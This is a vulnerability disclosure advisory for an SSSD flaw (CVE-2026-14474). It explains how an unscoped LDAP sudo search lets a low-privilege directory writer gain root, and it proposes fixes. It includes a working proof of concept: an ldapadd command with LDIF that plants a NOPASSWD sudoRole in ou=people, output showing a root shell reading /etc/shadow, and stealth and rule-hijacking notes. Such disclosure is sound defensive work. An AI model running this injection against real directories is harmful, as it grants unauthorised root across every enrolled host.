sudo_provider=ldap trusts entire LDAP tree — helpdesk LDAP write to root
- CVE ID
- CVE-2026-14474
- Product
- sssd
- Severity
- Important (8.8)
- CVSS Vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- CWE
- CWE-269
- Red Hat CVE
- Red Hat CVE page
Summary
When ldap_sudo_search_base is not explicitly configured (the default), SSSD falls back to the domain’s root DN and searches the entire LDAP directory tree for objects matching (objectClass=sudoRole). Any LDAP principal with write access to any subtree can create a sudoRole object that grants arbitrary sudo privileges on every SSSD-enrolled host. SSSD performs zero validation of the rule’s origin within the directory, zero integrity verification, and zero authorization check on who created the rule.
Root shell confirmed on shipped binaries across RHEL 8, RHEL 9, RHEL 10, and Fedora 42.
Affected Versions
The vulnerability exists in all versions of SSSD that implement sudo_provider = ldap. The default fallback to the domain root DN for ldap_sudo_search_base has existed since the LDAP sudo provider was introduced.
| Package | Version | Status | Verification |
|---|---|---|---|
| RHEL 8 | sssd-2.9.4-5.el8_10.4 | Vulnerable — ROOT SHELL CONFIRMED | Shipped binary, full PoC |
| RHEL 9 / CentOS Stream 9 | sssd-2.9.8-2.el9 | Vulnerable — ROOT SHELL CONFIRMED | Shipped binary, full PoC |
| RHEL 10 / CentOS Stream 10 | sssd-2.12.0-3.el10 | Vulnerable — ROOT SHELL CONFIRMED | Shipped binary, full PoC |
| Fedora 42 | sssd-2.11.1-2.fc42 | Vulnerable — ROOT SHELL CONFIRMED | Shipped binary, full PoC |
| Upstream | 2.12.0+ | Vulnerable (same code path) | Source review |
Note: sudo_provider = ad is also affected — ad_sudo_init() delegates entirely to sdap_sudo_init() (same LDAP code path). FreeIPA with sudo_provider = ipa is NOT affected (uses ipasudorule object class with structured placement via the IPA API).
Root Cause
File: src/providers/ldap/sdap_sudo_refresh.c
Function: LDAP sudo refresh
Lines: 64 (filter), plus fallback chain in ldap_opts.c:54, sdap.c:1318, sdap_async_sudo.c:66
Affected code path
ldap_opts.c:54—ldap_sudo_search_basedefaults toNULL_STRINGsdap.c:1318— When search base is NULL, falls back to domain root DNsdap_sudo_refresh.c:64— LDAP filter is(objectClass=sudoRole)with no path restrictionsdap_async_sudo.c:66— Search uses the fallback base withSUBTREEscope
The SSSD debug log confirms the issue:
Option ldap_sudo_search_base has no value
Option ldap_sudo_search_base set to dc=corp,dc=local
calling ldap_search_ext with [(&(objectClass=sudoRole)(|(...)
(sudoHost=ALL)(...)))][dc=corp,dc=local]
The LDAP search filter (objectClass=sudoRole) is sent with base dc=corp,dc=local and scope SUBTREE — the entire directory tree is searched. Any sudoRole object anywhere in the DIT is returned and cached.
Namespace collision attack
sysdb_store_custom() (src/db/sysdb_ops.c:3477) uses the rule’s cn attribute as the storage key. When a rule with the same cn already exists, it is replaced (LDB_FLAG_MOD_REPLACE). This enables a rule-hijacking attack: an attacker can create a sudoRole with the same cn as a legitimate rule in a different OU, and the attacker’s version silently replaces the legitimate one in SSSD’s cache.
Proof of Concept
poc/001-sudo-ldap-trust-poc.sh — Automated PoC script that sets up the environment and demonstrates the full attack chain.
Scenario
A realistic enterprise LDAP environment with delegated administration:
- Base DN:
dc=corp,dc=local - helpdesk operator:
uid=helpdesk,ou=svcaccts,dc=corp,dc=local— delegated write access toou=peoplefor user provisioning. No access toou=sudoers. - Target user:
uid=jsmith,ou=people,dc=corp,dc=local(posixAccount, uid=10001) - SSSD config:
sudo_provider = ldap, noldap_sudo_search_base(vulnerable default)
LDAP ACLs:
olcAccess: {1}to dn.subtree="ou=people,dc=corp,dc=local"
by dn.exact="uid=helpdesk,ou=svcaccts,dc=corp,dc=local" write by * read
olcAccess: {2}to dn.subtree="ou=sudoers,dc=corp,dc=local"
by dn.exact="cn=Directory Manager,dc=corp,dc=local" write by * read
Steps
-
Verify helpdesk CANNOT write to ou=sudoers (ACL enforcement):
ldapadd -D "uid=helpdesk,..." to ou=sudoers → Insufficient access (50) -
Verify baseline:
sudo -l -U jsmith→ “User jsmith is not allowed to run sudo” -
Attack — helpdesk injects sudoRole into ou=people (where they HAVE write access):
ldapadd -x -H ldap://localhost \ -D "uid=helpdesk,ou=svcaccts,dc=corp,dc=local" \ -w "Helpdesk.123" << EOF dn: cn=escalate,ou=people,dc=corp,dc=local objectClass: sudoRole cn: escalate sudoUser: jsmith sudoHost: ALL sudoCommand: ALL sudoOption: !authenticate EOF -
SSSD fetches the rule (default whole-tree search):
sudo -l -U jsmith → (root) NOPASSWD: ALL -
Privilege escalation — jsmith achieves root:
whoami: root id: uid=0(root) gid=0(root) groups=0(root) head /etc/shadow: root:*:19448:0:99999:7::: -
Cache evidence — rule source is
ou=people, NOTou=sudoers:ldbsearch -H /var/lib/sss/db/cache_corp.ldb "(objectClass=sudoRule)" originalDN originalDN: cn=escalate,ou=people,dc=corp,dc=local
Cross-platform verification
| Platform | whoami | id | /etc/shadow readable |
|---|---|---|---|
| RHEL 8 | root | uid=0(root) gid=0(root) | YES |
| RHEL 9 | root | uid=0(root) gid=0(root) | YES |
| RHEL 10 | root | uid=0(root) gid=0(root) | YES |
| Fedora 42 | root | uid=0(root) gid=0(root) | YES |
Mitigation verification
Adding ldap_sudo_search_base = ou=sudoers,dc=corp,dc=local to sssd.conf and restarting:
sudo -l -U jsmith → "User jsmith is not allowed to run sudo"
The injected rule in ou=people is invisible when the search is scoped to ou=sudoers.
Impact
CVSS 3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
| Component | Value | Justification |
|---|---|---|
| AV (Attack Vector) | Network | LDAP is a network service accessible remotely. Authentication requirement captured by PR:L. |
| AC (Attack Complexity) | Low | No race conditions, no special timing. Single LDAP write. |
| PR (Privileges Required) | Low | Requires LDAP write access (authenticated, but low privilege — delegated admin, not Directory Manager). |
| UI (User Interaction) | None | SSSD fetches rules automatically via background refresh. |
| S (Scope) | Unchanged | SSSD is the host’s authorization system for sudo — a bad authorization decision impacts the host it authorizes. Consistent with CVE-2025-11561 (same product, same CWE-269, S:U at 8.8). |
| C (Confidentiality) | High | Root access = full compromise. |
| I (Integrity) | High | Root access = full compromise. |
| A (Availability) | High | Root access = full compromise. |
Scope and persistence
- Scope: Every SSSD-enrolled host in the domain with
sudo_provider = ldapand default search base - Persistence: Injected rules persist in SSSD cache for up to 6 hours after removal from LDAP (smart refresh uses USN-based filter,
delete_filter = NULL— no cache purge during smart refresh) - Stealth: The rule is in
ou=people, notou=sudoers— administrators checkingou=sudoerswould not see it - Scale: A single LDAP write affects every host in the domain simultaneously
Attack prerequisites
- Target host must use
sudo_provider = ldap(notipaoradwith restricted search base) ldap_sudo_search_basemust be unset (the default)- Attacker must have LDAP write access to any subtree (to create sudoRole objects)
In enterprise LDAP deployments, LDAP write access is commonly available through delegated OU administration, self-service portals, application service accounts, or compromised accounts with write privileges.
Comparable CVEs
| CVE | CVSS | Attack Vector | Comparison |
|---|---|---|---|
| CVE-2025-11561 | 8.8 | Network | Similar: requires directory write, leads to priv-esc in SSSD. Same CWE-269, same pattern. |
| CVE-2022-4254 | 8.8 | Network | LDAP filter injection in sss_certmap. Different mechanism but similar class. |
Workaround
Set ldap_sudo_search_base explicitly in /etc/sssd/sssd.conf:
[domain/example.com]
ldap_sudo_search_base = ou=sudoers,dc=example,dc=com
Additionally, restrict LDAP ACLs to prevent non-admin principals from creating sudoRole objects outside the designated sudoers container.
Proposed Fix
Recommended fixes (in order of preference):
-
Fail-closed mode (strongest): When
ldap_sudo_search_baseis not explicitly set, refuse to start the sudo provider (or fall back to local sudoers) rather than searching the entire tree. Log an error explaining the required configuration. -
Scoped default: Default
ldap_sudo_search_basetoou=sudoers,<ldap_search_base>instead of the root DN. This matches the convention used by sudo’s own LDAP integration and FreeIPA. -
Warning + documentation: When
ldap_sudo_search_baseis not set, emit a prominent log warning and add a security warning to thesssd-ldap(5)man page. Weakest option — does not prevent the attack.
Classification Justification
This is a vulnerability (insecure default), not merely a hardening recommendation:
-
The default behavior violates the principle of least privilege. SSSD searches the entire directory tree for sudo rules when only
ou=sudoersis expected. The sudo project’s own LDAP integration requires explicitSUDOERS_BASE. FreeIPA constrains rules tocn=sudorules,cn=sudo. SSSD’s generic LDAP provider is the outlier. -
The documentation does not warn of the security risk. The
sssd-ldap(5)man page does not mention that any sudoRole object anywhere in the tree will be consumed. -
The impact is privilege escalation, not merely suboptimal configuration. An LDAP user with write access to any subtree can gain root on every SSSD-enrolled host.
-
Upstream acknowledges the security risk. GitHub Issue #6938 describes the same concern and remains open with no fix.
Exploitation in the Wild
No known exploitation in the wild. The attack requires LDAP write access to at least one subtree within the domain.
Timeline
| Date | Event |
|---|---|
| 2026-04-24 | Discovered during SSSD security assessment |
| 2026-04-26 | Reported to vendor |
| 2026-07-07 | Public disclosure |
References
- Red Hat CVE page
- NVD
- CVE-2025-11561: SSSD Kerberos
an2lnfallback privilege escalation. Same CWE-269, same pattern of insecure default. - CVE-2022-4254: SSSD LDAP filter injection in
sss_certmap. Different mechanism, same software. - CWE-269: Improper Privilege Management
- CWE-276: Incorrect Default Permissions
- SSSD GitHub Issue #6938: Community awareness of this risk, no security treatment
sssd-ldap(5)man page: Documents default but omits security implications
Credits
Discovered by Ian Murphy